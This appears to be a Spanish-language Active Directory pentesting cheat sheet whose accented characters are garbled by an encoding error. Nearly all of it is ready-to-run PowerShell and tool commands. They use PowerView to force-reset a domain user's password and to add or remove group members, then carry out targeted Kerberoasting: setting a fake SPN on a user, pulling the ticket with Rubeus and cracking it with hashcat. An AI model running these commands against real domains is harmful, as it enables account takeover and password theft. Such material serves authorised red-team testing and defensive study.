Usuarios y grupos

Autenticaci贸n de usuario contra el dominio

$UserPassword = ConvertTo-SecureString "<password>" -AsPlainText -Force
$UserCredential = New-Object System.Management.Automation.PSCredential("<ACME.LOCAL>/<user>", $UserPassword)

Cambio de contrase帽a de usuario de dominio

Autenticaci贸n de usuario contra el dominio.

$UserPassword = ConvertTo-SecureString "<password>" -AsPlainText -Force
$UserCredential = New-Object System.Management.Automation.PSCredential("<ACME.LOCAL>/<user>", $UserPassword)

Importaci贸n de m贸dulo PowerView.

Import-Module .\PowerView.ps1

Cambio de contrase帽a de usuario de dominio.

$NewUserPassword = ConvertTo-SecureString "<new-user-password>" -AsPlainText -Force
Set-DomainUserPassword -Identity "<user>" -AccountPassword $NewUserPassword -Credential $UserCredential -Verbose

Agregar y eliminar usuario a grupo de dominio

Autenticaci贸n de usuario contra el dominio.

$UserPassword = ConvertTo-SecureString "<password>" -AsPlainText -Force
$UserCredential = New-Object System.Management.Automation.PSCredential("<ACME.LOCAL>/<user>", $UserPassword)

Importaci贸n de m贸dulo PowerView.

Import-Module .\PowerView.ps1

Agrega usuario a grupo de dominio.

Add-DomainGroupMember -Identity "<group-name>" -Members "<user>" -Credential $UserCredential -Verbose

Eliminar usuario de un grupo de dominio.

Remove-DomainGroupMember -Identity "<group-name>" -Members "<user>" -Credential $UserCredential -Verbose

Confirmaci贸n de eliminaci贸n de usuario de un grupo de dominio.

Get-DomainGroupMember -Identity "<group-name>" | Select MemberName |? {$_.MemberName -eq "<user>"} -Verbose

Creaci贸n de Service Principal Names (SPN) falso

Autenticaci贸n de usuario contra el dominio.

$UserPassword = ConvertTo-SecureString "<password>" -AsPlainText -Force
$UserCredential = New-Object System.Management.Automation.PSCredential("<ACME.LOCAL>/<user>", $UserPassword)

Creaci贸n de Service Principal Names (SPN) falso.

Set-DomainObject -Credential $UserCredential -Identity "<user>" -SET @{serviceprincipalname='SPN/fake'} -Verbose

Obtener Ticket Granting Service (TGS).

.\Rubeus.exe kerberoast /user:<user> /nowrap

Cracking de Ticket Granting Service (TGS).

# RC4 / $krb5tgs$23$
hashcat -m 13100 tgs.txt <path-wordlist>
# AES-128 / $krb5tgs$17$
hashcat -m 19600 tgs.txt <path-wordlist>
# AES-256 / $krb5tgs$18$
hashcat -m 19700 tgs.txt <path-wordlist>

Eliminaci贸n de Service Principal Names (SPN) falso.

Set-DomainObject -Credential $UserCredential -Identity "<user>" -Clear serviceprincipalname -Verbose

脷ltima actualizaci贸n